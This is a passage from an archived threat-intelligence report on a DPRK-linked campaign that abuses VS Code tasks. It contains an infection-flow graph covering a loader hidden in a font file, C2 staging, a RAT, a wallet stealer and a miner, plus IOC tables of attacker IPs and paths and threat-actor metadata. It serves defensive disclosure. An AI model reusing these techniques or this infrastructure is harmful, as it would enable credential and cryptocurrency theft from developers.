exclusions\" -ForegroundColor Green\r\n }\r\n} catch {\r\n Write-Host \"Defender data unavailable (requires admin)\" -ForegroundColor Yellow\r\n}\r\nWrite-Host \"\"\r\nExecution Flow Graph\r\n[ Victim Machine ]\r\n |\r\n +--- 1. INFECTION VECTOR (Branching Paths)\r\n |\r\n +--[ Path A: VSCode Task Hijack ]---------------------------------------------+\r\n | File: .vscode/tasks.json -\u003e public/font/fa-brands-regular.woff2 (JS) |\r\n | Action: Creates ~/.npm/scoped_dir.../main.js (Persistence Loader) |\r\n | Action: Spawns 'node main.js' (Detached) |\r\n | | |\r\n | v |\r\n | [ Loader: main.js ] |\r\n | |-- Request: http://chainlink-api-v3.com/... |\r\n | |-- Response: Error 404 (Payload Body) |\r\n | +-- Action: Executes Stage 2 in Memory |\r\n | |\r\n +--[ Path B: App Logic Hook ]-------------------------------------------------+\r\n | File: server/routes/api/profile.js -\u003e getPassport() |\r\n | Action: Request: http://chainlink-api-v3.com/... |\r\n | Action: Response: Error 404 (Payload Body) |\r\n | Action: Executes Stage 2 in Memory (Volatile) |\r\n | |\r\n v |\r\n[ 2. NODE.JS CONTROLLER (In-Memory) ] |\r\n | |\r\n +--- [ Initialization ] |\r\n | |-- Checks/Writes Lock Files (~/.npm/vhost.ctl, npm-compiler.log) |\r\n | |-- Connects to C2 Cluster B (172.86.116.178) |\r\n | |\r\n +--- [ Theft Modules ] |\r\n | |-- Keylogger/Screenshotter -\u003e Uploads to C2 |\r\n | |-- File Grabber (.env, secrets) -\u003e Uploads to C2 |\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 17 of 19\n\n| |-- Clipper (Clipboard Monitor) |\r\n | |-- Wallet Stealer (Copies LevelDB to ~/.n3/tp*) |\r\n | |\r\n +--- [ Python Handoff ] |\r\n |-- Downloads Python Stager from 146.70.253.107:1224 |\r\n +-- Writes to ~/.nlp (Linux/Mac) \u0026 Executes |\r\n |\r\n v |\r\n[ 3. PYTHON PAYLOADS (~/.n2/) ] |\r\n | |\r\n +--- [ Module A: way.py (The RAT) ] |\r\n | |-- Connects: 146.70.253.107:2242 |\r\n | |-- Action: Kills Browsers (Chrome/Brave) to unlock DB files for Node.js |\r\n | |-- Action: Keylogging (Windows) \u0026 AnyDesk Loading |\r\n | |\r\n +--- [ Module B: pow.py (The Miner - Windows Only) ] |\r\n |-- Action: Persistence (Startup + Task Scheduler \"Runtime Broker\") |\r\n |-- Action: Downloads XMRig (Fake \"msedge.exe\") |\r\n +-- Note: Fails/Exits on Linux/Mac (Missing 'winreg') |\r\n8. Infrastructure \u0026 IOCs\r\nURL / IP Path Port Function\r\nchainlink-api-v3.com\r\n/api/service/token/... 80\r\nStage 1 \u0026 5: Delivers JS payload via Error\r\n404.\r\n146.70.253.107 /client/5346/1014 1224\r\nStage 2: Downloads Python Stager\r\n( .nlp ).\r\n146.70.253.107 /payload/5346/1014 1224 Stage 3: Downloads RAT ( way ).\r\n146.70.253.107 /brow/5346/1014 1224 Stage 3: Downloads Miner ( pow ).\r\n146.70.253.107 /keys 2242\r\nRAT: Data exfiltration \u0026 Command\r\nchannel.\r\n172.86.116.178 /api/service/process 5918 Node RAT: vhost.ctl communication.\r\n172.86.116.178 /upload 5978 Exfiltration: Screenshot/Clipboard upload.\r\nFile System Artifacts\r\n~/.nlp (Python Stager script)\r\n~/.n2/ (Directory containing way and pow )\r\n~/.n3/ (Staging directory for stolen files)\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 18 of 19\n\n~/.n2/flist (Log of exfiltrated files - if present)\r\n~/.npm/vhost.ctl (PID file for Node RAT)\r\n~/.npm/npm-compiler.log (PID file for Clipper)\r\n~/.npm/scoped_dir* (Hidden malicious Node modules)\r\nSource: https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/"
	],
	"report_names": [
		"vs-code-tasks-abuse-by-contagious-interview-dprk"
	],
	"threat_actors": [
		{
			"id": "d0e366e3-93e8-4801-bf4d-5ce7a7ad1a77",
			"created_at": "2026-04-11T02:00:04.633392Z",
			"updated_at": "2026-04-12T02:00:04.00871Z",
			"deleted_at": null,
			"main_name": "Contagious Interview",
			"aliases": [],
			"source_name": "MISPGALAXY:Contagious Interview",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-12T02:00:04.986191Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "7187a642-699d-44b2-9c69-498c80bce81f",
			"created_at": "2025-08-07T02:03:25.105688Z",
			"updated_at": "2026-04-12T02:00:03.628394Z",
			"deleted_at": null,
			"main_name": "NICKEL TAPESTRY",
			"aliases": [
				"CL-STA-0237 ",
				"CL-STA-0241 ",
				"DPRK IT Workers",
				"Famous Chollima ",
				"Jasper Sleet Microsoft",
				"Purpledelta Recorded Future",
				"Storm-0287 ",
				"UNC5267 ",
				"Wagemole "
			],
			"source_name": "Secureworks:NICKEL TAPESTRY",
			"tools": [],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "4fc99d9b-9b66-4516-b0db-520fbef049ed",
			"created_at": "2025-10-29T02:00:51.949631Z",
			"updated_at": "2026-04-12T02:00:04.476152Z",
			"deleted_at": null,
			"main_name": "Contagious Interview",
			"aliases": [
				"Contagious Interview",
				"DeceptiveDevelopment",
				"Gwisin Gang",
				"Tenacious Pungsan",
				"DEV#POPPER",
				"PurpleBravo",
				"TAG-121"
			],
			"source_name": "MITRE:Contagious Interview",
			"tools": [
				"InvisibleFerret",
				"BeaverTail",
				"XORIndex Loader",
				"HexEval Loader"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434361,
	"ts_updated_at": 1775960490,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/415047041e97e6592db5c6e845f500aa29c01092.pdf",
		"text": "https://archive.orkl.eu/415047041e97e6592db5c6e845f500aa29c01092.txt",
		"img": "https://archive.orkl.eu/415047041e97e6592db5c6e845f500aa29c01092.jpg"
	}
}